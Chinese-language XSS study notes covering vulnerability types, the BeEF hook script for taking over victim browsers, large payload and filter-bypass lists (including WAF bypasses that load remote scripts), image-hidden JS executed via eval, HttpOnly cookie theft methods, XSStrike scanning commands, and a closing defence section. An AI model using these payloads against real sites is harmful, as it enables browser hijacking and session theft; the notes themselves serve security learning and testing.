XSS

漏洞原理

通过html注入插入恶意的js脚本从而篡改页面,当用户浏览该页面就会触发js脚本并执行高危操作。

xss漏洞是由于网站没对用户输入数据做充分的检查就直接将数据包含在动态生成的网页内容中,当用户浏览这些网页时就可能执行攻击者嵌入的恶意脚本。

CORS和JSONP

  • 同源策略:浏览器打开了两个不同源的页面,当第一个源请求了某个js脚本,这个js脚本只能改变第一个源的页面而无法改变第二个源的页面,同源策略可以避免浏览器发生行为混淆,是浏览器对js施加的安全策略。这里的同源指的是域名、子域名、端口号、协议相同

  • 实现跨域访问

    • script、img、iframe、link等标签,这些带有src属性的标签加载的资源不能为js所读写(也就是只能加载而不能读写),但都可以跨域加载资源而不受同源策略的限制
    • 跨域资源共享(CORS):浏览器在发起跨域请求时,会在请求头中携带一些信息,例如 Origin、Access-Control-Request-Method 和 Access-Control-Request-Headers 等。服务器收到请求后,会根据这些信息判断是否允许跨域,并在响应头中返回一些信息,例如 Access-Control-Allow-Origin、Access-Control-Allow-Methods 和 Access-Control-Allow-Headers 等。浏览器收到响应后,会根据这些信息判断是否允许跨域,并决定是否执行回调函数。这这取决于JS不会影响http头(一般不会)
  • 浏览器的插件也会有各自的同源策略,比如Flash会检查目标服务器的网站是否提供crossdomain.xml,该文件是一个域许可列表,如果提供了就会检查该文件并由此判断向网站发起请求的域是否在许可访问内

漏洞分类

反射型XSS

攻击者往往需要构造url链接并诱导用户点击,然后服务器放回带有XSS脚本的数据并在用户浏览器上执行,这种攻击往往是一次性的,因此是一种非持久性的XSS,由后端处理

存储型XSS

这是一种持久性的攻击,攻击脚本会被永久地存放在目标服务器的数据库或文件中。该攻击方式常见与论坛、博客和留言板。当其他用户浏览有恶意脚本的页面,恶意脚本就会被执行,由后端处理

DOM型XSS

这是一种特殊的反射型XSS,不与服务器进行交互。不是构造url,而是构造html,在其中插入脚本,这种脚本的威胁是间接的,只有当用户触发了点击事件(可能也有其他事件),就会修改html的DOM节点从而动态植入恶意的js脚本并执行,由前端处理。

注入点判断

存储型和反射型注入点判断

任何可以提交包的点都可能是注入点,与sql注入没有太大差别,会与后端交互。

DOM型XSS

不会与后端交互,只会与前端交互

XSS攻击平台

attack api

AttackAPI是一个基于Web的攻击构造库,它可以结合PHP、JavaScript及其他客户端和服务器端技术进行使用。 AttackAPI有几十个不同功能的模块组成,这些模块既可以从浏览器使用,也可以从JavaScript解释器执行,例如 Mozilla Rhino。它的目标是为实现漏洞利用而提供一个简单易用的接口,主要用于测试和验证之用。

目前已经找不到该资源

BeEF

XSS演示平台,BeEF有一个控制后台,通过一段js脚本可以控制前端的一切。

  • XssRays: XssRays选项卡允许用户检查链接、表单和页面(链接浏览器的地方)的URI路径是否容易受到XSS攻击。

  • proxy:代理选项卡允许借助连接的浏览器提交任意的HTTP请求。由代理发送的每个请求都记录在History面板中。单击历史项可查看HTTP响应的HTTP报头和HTML源。要注意遵循同源策略。

  • Network: Network选项卡允许您与连接浏览器的本地网络上的主机进行交互。

  • Commands:向受害系统发送命令。每个命令模块都有一个交通灯图标,用于表示以下情况:

    • 绿色:命令模块针对目标工作,并且应该对用户不可见
    • 橙色:命令模块针对目标工作,但可能对用户可见
    • 白色:命令模块还有待对该目标进行验证
    • 红色:命令模块对此目标无效

    因此主要关注绿色和橙色图标的命令

  • Details:查看连接的浏览器提供的详细信息,包含浏览器版本、cookie、系统版本等信息

  • BeEF安装

    apt-get install beef-xss
    

    安装完后会提示修改用户beef的密码,修改完后安装成功

  • 开启beef会在浏览器打开控制台,然后在目标XSS漏洞插入以下脚本(也叫hook the browser),至于怎么插入需要根据XSS类型来决定。

    <script src="http://<IP>:3000/hook.js"></script>
    

    这个ip是安装了BeEF的主机ip。在制作钓鱼url链接时要注意把以上脚本进行url编码,当用户点击该链接,BeEF就连接到用户的浏览器了,除非用户把浏览器整个关掉,否则BeEF就能一直控制用户的浏览器。控制后台为http://127.0.0.1:3000/ui/panel

js执行

js执行可以借助事件、标签完成

事件

事件(event) 描述
onchange HTML 元素已被改变
onclick 用户点击了 HTML 元素
onmouseover 用户把鼠标移动到 HTML 元素上
onmouseout 用户把鼠标移开 HTML 元素
onkeydown 用户按下键盘按键
onload 浏览器已经完成页面加载

格式为:

<element event="alert(1)">

标签

script

script标签出现的地方有:

  1. head头部
  2. body中的任意位置

js的方式

  1. 直接写在页面上

    <script>
    alert(1);
    </script>
    
  2. 外部引用

    <script src="http://192.168.194.152:8000/1.js"></script>
    

    注意,这里的script标签js文件里面不能再包含script标签

img

<img src=javascript:alert(1)>

<img src=1 onerror="alert(1)">

<img src="js file path">
    
<img src=1 onclick="javascript:alert(1)">

svg

定义SVG图形的容器,画的矢量图放大不失真。

<svg onload="alert(1)">

svg有很多的子标签:

[g - SVG:可缩放矢量图形 MDN (mozilla.org)](https://developer.mozilla.org/zh-CN/docs/Web/SVG/Element/g#dom_接口)

a

<a href="javascript:alert(1)">123456</a>

当点击页面上的123456就会执行js

更多标签

其他标签可以查看burpsuite的xss-data-sheet

[Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition Web Security Academy (portswigger.net)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
<form action=javascript:alert(1)>

<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>

自定义标签

类似以下

<abc onclick="alert(1)">123456</abc>

弹出框

  • alert(“sometext”):警告框,点击确认继续进行
  • confirm():确认框,选择确认或取消以继续进行
  • prompt(“sometext”,”defaultText”):提示框,用户输入一个值并选择确认或取消,确认则返回输入值,否则返回null

js html dom

html dom方法是html的动作,html dom属性是可以设置或改变的html元素的值

js可以修改html页面

html dom 方法

方法 说明
document.getElementById(id) 通过id找到标签(元素)
document.getElementsByTagName(tagName) 通过标签名找标签(元素)
document.getElementsByClassName(className) 通过类名找标签(元素)
element.innerHTML = new html content 改变元素的 inner HTML
element.attribute = new value 改变 HTML元素的属性值
element.setAttribute(attribute, value) 改变 HTML 元素的属性值
element.style.property = new style 改变 HTML 元素的样式
document.createElement(element) 创建 HTML 元素
document.removeChild(element) 删除 HTML 元素
document.appendChild(element) 添加 HTML 元素
document.replaceChild(element) 替换 HTML 元素
document.write(text) 写入 HTML 输出流
document.getElementById(id).onclick = function(){code} 向 onclick 事件添加事件处理程序

html dom 属性

属性 描述
document.anchors 返回拥有 name 属性的所有 <a> 元素。
document.applets 返回所有 <applet> 元素(HTML5 不建议使用)
document.baseURI 返回文档的绝对基准 URI
document.body 返回 <body> 元素
document.cookie 返回文档的 cookie
document.doctype 返回文档的 doctype
document.documentElement 返回 <html> 元素
document.documentMode 返回浏览器使用的模式
document.documentURI 返回文档的 URI
document.domain 返回文档服务器的域名
document.domConfig 废弃。返回 DOM 配置
document.embeds 返回所有 <embed> 元素
document.forms 返回所有 <form> 元素
document.head 返回 <head> 元素
document.images 返回所有 <img> 元素
document.implementation 返回 DOM 实现
document.inputEncoding 返回文档的编码(字符集)
document.lastModified 返回文档更新的日期和时间
document.links 返回拥有 href 属性的所有\ <area> 和 <a> 元素
document.readyState 返回文档的(加载)状态
document.referrer 返回引用的 URI(链接文档)
document.scripts 返回所有 <script> 元素
document.strictErrorChecking 返回是否强制执行错误检查
document.title 返回 <title> 元素
document.URL 返回文档的完整 URL
window.location.href 返回当前页面的 href (URL)
window.location.hostname 返回 web 主机的域名
window.location.pathname 返回当前页面的路径或文件名
window.location.protocol 返回使用的 web 协议(http: 或 https:)

除了上表,还有

  • window.navigator:包含有关访问者(浏览器)的信息。

bypass

编码

浏览器的编码解码过程

  1. 当在地址栏输入一个url,浏览器对url中的特殊字符进行url编码,以便服务器可以正确解析
  2. 浏览器发送http请求给服务器,请求中包含浏览器支持的字符集合语言等信息
  3. 服务器接收到url,对url编码进行解码,并找到对应的资源,然后根据浏览器法的请求头对数据进行编码,并把数据和响应头发出
  4. 浏览器根据响应头中的content-type对数据进行解码
  5. 如果数据中包含html文档,浏览器会构建DOM节点树,并用CSS解析器生成样式表,此时,浏览器还对存在的html编码进行解码
  6. 如果数据中包含js代码,浏览器会暂停html文档的解析,执行js代码,并可能修改DOM节点树。浏览器还会对js代码中可能涉及到的其他编码进行解码,例如:Unicode编码、Base64编码、Hex编码
  7. 如果数据中包含了url,浏览器会对url进行解码

因此浏览器大致的解码过程为:html解码->js解码->url解码,这个顺序并不是固定的,比如:

  • url出现在js代码中,那么url解码在js解码之后
  • url出现在a标签的href中并且使用了javascript伪协议,那么顺序也是js解码->url解码,href没使用javascript伪协议则是url解码->js解码

一般来说,html解码时浏览器解析的第一个步骤,但是,有些情况下,html解码可能不是第一个执行的。如果html文档中包含了嵌入式的js代码或者css样式表,那么这些代码或样式表可能不会被html解码器处理,而是交给js解码器或css解析器处理。

html实体化编码

html实体化编码是一种用于输出某些无法作为普通文本显示的字符的方法。

html实体化编码大致可以分为:

  • 针对特殊符号的形式

    • &lt;表示小于号(<)
    • &gt;表示大于号(>)
    • &amp;表示和号(&)
    • &quote;表示双引号(”)
    • &apos;表示单引号(’)
  • 使用unicode编码表示的形式

    • &#60;也表示小于号(<)
    • &#62;也表示大于号(>)
    • &#38;也表示和号(&)
    • &#34;也表示双引号(”)
    • &#39;也表示单引号(’)

    使用unicode编码的方式可以表示出现在ascii表中的字符,可以表示成十进制,也可以表示成十六进制,也可以不写分号,设置可以在&#和数字之间加任意数量的0

base64编码绕过

Base64编码可以用来对原始数据进行编码,防止一些特殊字符对原始数据的解析干扰,也可以和data协议配合使用,data协议是一种允许内容嵌入到网页中的协议,例如图片或者音频等。

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>

html实体化编码

html实体化编码是一种将特殊字符转换为以&开头,分号结尾的格式的方法,可以防止特殊字符对页面造成影响,但是,有时候浏览器会对html实体化编码进行解析,从而恢复原来的特殊字符,并执行其中的脚本。

  • 当浏览器遇到html标签时,会对标签里面的实体编码进行解码,如果解码后存在javascript:或其他危险的属性或事件,就会执行其中的脚本
  • 当浏览器构建DOM树时,会对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码
  • 当JavaScript DOM API参与修改DOM树时,也可能导致实体编码被解析

关键字替换

空格替换

<imgAsrcAonerrorB=BalertC(1)D>

  • 当位置A为空格,可以替换为://**/、tab(水平%09、垂直%0b))、换行符(%0a)、回车符(%0d)、换页符(%0c)

单引号和双引号替换

<iframe src=javascript:alert('abcd')>

如果alert的是一个字符串,那么就必须加单引号或双引号,当单引号和双引号都被过滤,那么就可以替换为/或反引号

<iframe src=javascript:alert(/abcd/)>

<iframe src=javascript:alert(`abcd`)>

分号替换

当想要执行多个js代码,而;被剔除,那么就可以考虑使用+来替换

<img src onerror=alert(1)+alert(2)>

<script>alert(1)+alert(2)</script>

<iframe src=javascript:alert(1)+alert(2)>

括号替换

<script>alert`1`</script>

<img src onerror=alert`1`>

<iframe src=javascript:alert`1`+alert`2`>
    
<iframe src="javascript:window.onerror=alert;throw 1">

XSS throw绕过原理是一种利用JavaScript的throw语句来执行恶意代码的技巧。throw语句可以抛出一个异常,如果没有被catch捕获,就会在控制台显示异常信息。如果抛出的异常是一个字符串,那么这个字符串就会被当作JavaScript代码执行

alert替换

通过执行js代码生成alert(1)这个字符串,每个字符经过utf8编码得到一个字符,恰好对应下面的每个十六进制数据

String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29)

然后再用eval把这个字符串当做js代码执行

<iframe src='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>

注意,这里必须要用单引号或双引号扩住

另外也可以换成其他的关键字,如:

<iframe src='javascript:prompt(1)'>

<iframe src='javascript:confirm(1)'>
    
<iframe src='javascript:document.write(1)'>

拼接

<iframe src=javascript:eval('al'+'ert(1)')>

<iframe src=javascript:top['al'+'ert'](1)>

<iframe src=javascript:window['al'+'ert'](1)>

<iframe src=javascript:self[`al`+`ert`](1)>

<iframe src=javascript:parent[`al`+`ert`](1)>

<iframe src=javascript:frames[`al`+`ert`](1)>

<img src onerror=_=alert,_(1)>

<img src x=al y=ert onerror=top[x+y](1)>

<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>

<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

Http-Only绕过

  • apache曾支持一个Header trace,trace一般用于调试,他会将请求头作为Http Response Body返回,由此可以读出http-only cookie

  • Apache2.0-2.2版本存在个漏洞 CE-2012-0053:攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的最大请求长度(4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie。源代码可参见: htps:/ww.explwi db.com/exploits/18442/。 除了Apache,一些其他的Web服务器在使用者不了解其特性的情况下,也很容易出现HttpOnly保护的Cookie被爆出的情况,例如Squid等。

  • phpinfo:通过phpinfo获取cookie信息

  • flash/java:安全团队seckb在2012年提出,通过Flash、Java 的一些API可以获取到HttpOnly Cookie,这种情况可以归结为客户端的信息泄露,链接地址为: htp://ckb.yehg.net/2012/0/xss-gaining-g aCss-t-ttponly-cookie.html。

转义字符绕过

百度搜索曾出现过一个XSS漏洞,其中

var redirectUrl="\";alert(/XSS/);";

\对双引号进行了转义,也就是说输入:

";alert(/XSS/);

双引号根本没有起到闭合的作用,但是由于百度的返回页面是GBK/GB2312编码的,因此”%c1\“组合起来会成为一个新的字符,这样双引号就绕开了转义,因此构造:

%c1";alert(/XSS/);

这和sql注入的宽字节是同样的原理

绕过长度限制

如果服务器对用户输入的长度做了严格的限制,那么可以采用以下方式绕过

  • 如果是直接插入js脚本,那么可以改用事件触发,这可以减少一定的字节数,但很有限
  • 将js脚本放在别处,然后使用img、a、iframe的src属性远程加载,这还可以跳过url地址栏的长度限制(2083个字节)
  • 注释符绕过<--! -->
  • window对象是浏览器的窗体,不受同源策略的影响,window对象可以被用来跨域、跨页面传递数据,window.name就可以缩短XSS Payload的长度

绕过waf(需要找时间仔细研究)

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

安全狗
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">
D盾
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
云锁+奇安信 waf
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

null字节绕过

XSS插入null字节的原理是利用了某些浏览器或者服务器对null字节的处理不一致,导致过滤器无法识别出XSS攻击向量,而浏览器却能够正常执行。

<%00script>alert (1)</script> 
<script>al%00ert (1)</script>

其他绕过

  • 使用不同的编码方式,如十进制、十六进制、字符实体等,来表示特殊字符,如<、>、’、”等。
  • 使用不常见或者畸形的标签或者属性,如双角引号、重音符、空格等。
  • 使用JavaScript内置函数或者属性,如fromCharCode()、eval()、innerHTML等。
  • 使用事件处理器或者错误处理器,如onerror、onload、onclick等。
  • 使用多语言混淆或者大小写变换。

base劫持

<base>标签定义页面上的所有使用相对路径的hosting地址,它可以出现在页面的任何地方,并作用于在其之后的所有标签。这意味着一旦插入base标签,就会劫持之后所有使用相对路径的标签,通过在远程服务器进行链接、图片和脚本的伪造就可以实现js插入。

隐藏意图

location.hash:根据http协议,location.hash的内容不会在http包中发送,所以服务器端的web日志并不会记录下location.hash里的内容,从而更好隐藏黑客真实的意图。

比如:

$var=" onclick="eval(location.hash.substr(1))

最终得到

<a value="" onclick="eval(location.hash.substr(1))"/>

图片xss

canvas xss

使用html canvas将恶意js脚本隐藏到图片中,大致原理是将每个源代码字符转换为一个像素,然后通过使用canvas getImageData方法从图片中提取“隐藏的JavaScript并执行它

生成恶意图片

在浏览器控制台输入以下脚本:

// 如何将文本字符串“存储”到图片中
(function () {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
        d = document,
        b = d.body,
        img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

生成了一个img:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAAAXNSR0IArs4c6QAAABpJREFUGFdjTMxJ/S/IcZiB0VCT4f/56wyMADg9BhAoJ4VCAAAAAElFTkSuQmCC">

也可以另存为另外一个图片

触发这个xss:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAAAXNSR0IArs4c6QAAABpJREFUGFdjTMxJ/S/IcZiB0VCT4f/56wyMADg9BhAoJ4VCAAAAAElFTkSuQmCC">
<script>
// 如何将该图片转换回其原始字符串
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML = a;
eval(a);
</script>

XSS自动化扫描

xsstrike

get

./xsstrike.py -u "http://10.2.2.2:8080/search/node?keys=a"

post

./xsstrike.py -u "http://192.168.194.152/vul/xss/xsspost/xss_reflected_post.php" --data '{"message":"a","submit":"submit"}' --json

在指定路径上注入payload

./xsstrike.py -u "http://192.168.194.152/vul/xss/xss_04.php?message=das&submit=submit" --path

从目标网页开始搜寻目标并进行测试

./xsstrike.py -u "http://192.168.194.152/vul/xss/xssblind/xss_blind.php" --crawl

使用-l可指定爬网的深度

–crawl允许检测漏洞

允许一次性对多个url进行crawl

python xsstrike.py --seeds urls.txt

查找隐藏的参数:

通过解析HTML和暴力破解来查找隐藏的参数

python3 xsstrike.py -u "http://example.com/page.php" --params

盲打XSS:爬行中使用此参数可向每个html表单里面的每个变量插入xss代码

python3 xsstrike.py -u http://example.com/page.php?q=query --crawl --blind

模糊测试

该模糊器可以测试过滤器和Web应用程序防火墙

./xsstrike.py -u "http://192.168.194.152/vul/xss/xss_03.php?message=a&submit=submit" --fuzzer

跳过DOM扫描

在爬网时可跳过DOM XSS扫描,以节省时间

python3 xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom

漏洞修复

http-only

http-only是在set-cookie时标记的,可以有效避免cookie劫持,但这并不代表其无法被绕过

输入检查

  • 对特殊字符,如<>等特殊字符进行过滤或编码
  • 检查输入是否有javascript<script>等敏感字符

在做输入检查时,如果直接做简单的过滤和替换,可能就会改变语义,这一点需要注意

输出检查

  • 编码
    1. html编码(HtmlEncode函数)
    2. php编码(htmlentities、htmlspecialchars函数)
    3. JavaScript编码(JavascriptEncode,编码时会使用\对特殊字符进行转义,并要求输出的变量必须在引号内部,比如使用escapeJavascript时就需要这么干)
  • 转义

在用户提交数据处进行输入检查并不是在真正发生攻击的地方做防御,当输入输出到页面上时才是。XSS本质上是一种html注入。以下为相应场景使用的应对措施。

场景 措施
XSS脚本在HTML标签里中输出 HtmlEncode
XSS脚本在html标签的属性中输出 HtmlEncode,还有一种更为严格的编码,就是除了字母和数字,其他所有字符都会被编码成htmlentity
XSS脚本在script标签中输出 JavascriptEncode
XSS脚本在事件中输出 JavascriptEncode
XSS脚本在CSS中输出 尽可能禁止用户可控制的变量在style(包括style标签和style属性)、css文件中输出,如有需要,则推荐使用encodeForCSS(OWASP ESAPI中的函数)
XSS脚本在地址中输出 一般使用URLEncode,而且在编码前需要关注url协议是否为http,如果不是,就要预防javascript:vbscript:dataURI:等伪协议

编码的目的是为了让js脚本不会被执行,但是可以在页面上看到,因为js脚本集体被转义了

对于dom型XSS,其防御有所不同,需要根据语境的不同进行编码,其本质是间接插入js脚本,因此需要做多次输出检查,编码措施参照上表即可。当然,DOM型XSS还需要关注以下几个输出点:

  • document.write()
  • document.writeln()
  • xxx.innerHTML()
  • xxx.outerHTML()
  • innerHTML.replace()
  • document.attachEvent()
  • document.location.replace()
  • document.location.assign()

总结

一般来说,存储型XSS的风险高于反射型XSS,因为存储型XSS漏洞可能是蠕虫病毒发起的地方。另外,在防御时借助一些开源项目可能事倍功半。

参考